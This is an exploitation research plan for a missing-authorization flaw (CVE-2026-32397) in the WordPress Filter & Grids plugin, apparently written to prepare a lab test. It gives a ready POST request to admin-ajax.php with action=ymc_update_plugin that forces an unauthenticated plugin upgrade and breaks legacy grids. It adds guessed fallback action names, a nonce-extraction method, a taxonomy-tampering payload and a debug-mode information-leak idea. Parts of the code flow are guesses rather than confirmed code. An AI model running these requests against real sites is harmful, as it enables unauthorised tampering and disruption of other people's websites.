Exploitation Research Plan - CVE-2026-32397

1. Vulnerability Summary

The Filter & Grids plugin (version <= 3.5.1) contains a Missing Authorization vulnerability. The plugin supports two operational modes: Legacy Mode (v2.x) and New Mode (v3.x). An administrative "Upgrade to v3.x" feature exists to migrate settings and switch the plugin's core engine. However, the AJAX handler responsible for this transition fails to implement proper authorization checks (e.g., current_user_can( 'manage_options' )). This allows unauthenticated attackers to remotely trigger the upgrade process, which is not backward compatible and disrupts the site's layout and grid functionality.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Method: POST
• Action: ymc_update_plugin (inferred from js-confirm-update-plugin class in includes/core/admin/admin-header/tmpl-admin-header.php)
• Authentication: None (Unauthenticated via wp_ajax_nopriv_ymc_update_plugin)
• Preconditions: The plugin must be in "Legacy Mode" (ymc_plugin_legacy_is option set to yes).

3. Code Flow

1. Frontend Trigger: The administrator UI in includes/core/admin/admin-header/tmpl-admin-header.php renders a modal (#ymc-update-modal) with a confirmation button (.js-confirm-update-plugin).
2. AJAX Registration: The plugin likely registers the AJAX handler in its main class or an admin utility:

   add_action('wp_ajax_ymc_update_plugin', 'ymc_update_plugin_callback');
   add_action('wp_ajax_nopriv_ymc_update_plugin', 'ymc_update_plugin_callback');
   

3. Vulnerable Handler: The callback function (likely in includes/Plugin.php or ymc2/YMC_Filter_Grids.php) executes the migration:

   function ymc_update_plugin_callback() {
       // MISSING: current_user_can('manage_options') check
       // MISSING: check_ajax_referer('ymc_nonce', 'nonce') check
       update_option('ymc_plugin_legacy_is', 'no'); 
       // ... other migration logic ...
       wp_send_json_success();
   }
   

4. Impact: ymc-smart-filters.php checks is_legacy() and switches the entire plugin logic to the v3.x engine, which is incompatible with legacy grid data.

4. Nonce Acquisition Strategy

Based on the "Missing Authorization" severity and unauthenticated vector, the endpoint likely lacks a nonce check entirely. If a nonce is required, it is often leaked via a localized script.

1. Identify Script: Search for wp_localize_script calls that define AJAX parameters.
2. Potential Variable: ymc_smart_filter_params or ymc_admin_ajax.
3. Extraction:
   • Navigate to the homepage or a page containing a grid.
   • Execute: browser_eval("window.ymc_smart_filter_params?.nonce") or browser_eval("window.ymc_ajax?.nonce").
4. Bypass: If wp_ajax_nopriv is registered, the developer often skips the check_ajax_referer call, meaning no nonce is needed.

5. Exploitation Strategy

The goal is to trigger the plugin upgrade unauthenticated.

Step 1: Trigger the Upgrade

Send a POST request to the AJAX endpoint.

HTTP Request:

• URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=ymc_update_plugin
  

Step 2: Alternative Action (If above fails)

If the action name differs, try:

• action=ymc_migrate_to_v3
• action=ymc_switch_to_v3

6. Test Data Setup

1. Install Plugin: Install version 3.4.1 or 3.5.1 of ymc-smart-filter.
2. Enable Legacy Mode:

   wp option update ymc_plugin_legacy_is "yes" --allow-root
   

3. Create Legacy Content: Create at least one grid using the legacy shortcode to establish a baseline state.

7. Expected Results

• Response: The server should return a JSON success message: {"success": true} or {"success": true, "data": "..."}.
• State Change: The plugin option ymc_plugin_legacy_is will change from yes to no.
• Side Effect: Legacy grids on the site will stop functioning or display errors because the v3.x logic is now active.

8. Verification Steps

After sending the HTTP request, verify the state change using WP-CLI:

wp option get ymc_plugin_legacy_is --allow-root
# Expected Output: no

9. Alternative Approaches

If the upgrade action is protected, check the Taxonomy Settings Apply functionality seen in includes/core/util/taxonomy.php:

• Trigger: .btn-tax-apply
• Action: ymc_save_tax_options or ymc_tax_settings_apply
• Payload: action=ymc_save_tax_options&ymc-tax-bg=#ff0000&ymc-tax-custom-name=PWNED
• Goal: Unauthorized modification of taxonomy display settings.

Another target is the Debug Code settings mentioned in uninstall.php (ymc_debug_code). If an unauthorized action allows saving settings, an attacker could enable debug mode to leak information.